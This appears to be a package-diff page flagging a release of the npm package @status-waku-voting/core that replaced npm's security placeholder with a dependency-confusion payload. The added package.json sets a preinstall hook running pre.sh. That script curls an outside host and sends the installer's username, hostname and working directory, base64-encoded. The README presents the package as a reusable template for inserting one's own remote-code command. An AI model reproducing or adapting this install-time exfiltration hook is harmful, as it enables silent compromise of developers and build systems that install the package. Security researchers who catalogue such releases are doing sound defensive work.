@status-waku-voting/core 0.0.1-security → 0.1.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of @status-waku-voting/core might be problematic. Click here for more details.

Files changed (4) hide show
  1. package/README.md +13 -3
  2. package/index.js +1 -0
  3. package/package.json +12 -3
  4. package/pre.sh +3 -0
package/README.md CHANGED
@@ -1,5 +1,15 @@
1
- # Security holding package
1
+ # npmdc-poc
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
3
+ Template repository which contains dependency confusion poc for npm package
4
4
 
5
- Please refer to www.npmjs.com/advisories?search=%40status-waku-voting%2Fcore for more information.
5
+ ## Usage
6
+
7
+ 1. Clone the repository
8
+ 2. Update `package.json` file with the vulnerable package details
9
+ 3. Update `pre.sh` without your RCE command
10
+ 4. Publish the package
11
+ 5. (Optional) `backend.php` (if you want to setup a php api which will email about the trigger)
12
+
13
+ ## Disclaimer
14
+
15
+ This is only for educational purpose. User will be responsible for any usage of this.
package/index.js ADDED
@@ -0,0 +1 @@
1
+ console.log('================ TAKEOVER by Codermak ================')
package/package.json CHANGED
@@ -1,6 +1,15 @@
1
1
  {
2
2
  "name": "@status-waku-voting/core",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "0.1.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "./pre.sh @status-waku-voting/core"
8
+ },
9
+ "repository": {
10
+ "type": "git",
11
+ "url": "git+https://github.com/codermakhackerone"
12
+ },
13
+ "author": "",
14
+ "license": "ISC"
6
15
  }
package/pre.sh ADDED
@@ -0,0 +1,3 @@
1
+ #!/bin/bash
2
+
3
+ curl http://kaspat.com/bugbounty/dependency-confusion-poc.php -H "Package: $1" -H "Whoami: $(whoami | base64)" -H "Hostname: $(hostname | base64)" -H "Pwd: $(pwd | base64 -w 2000)"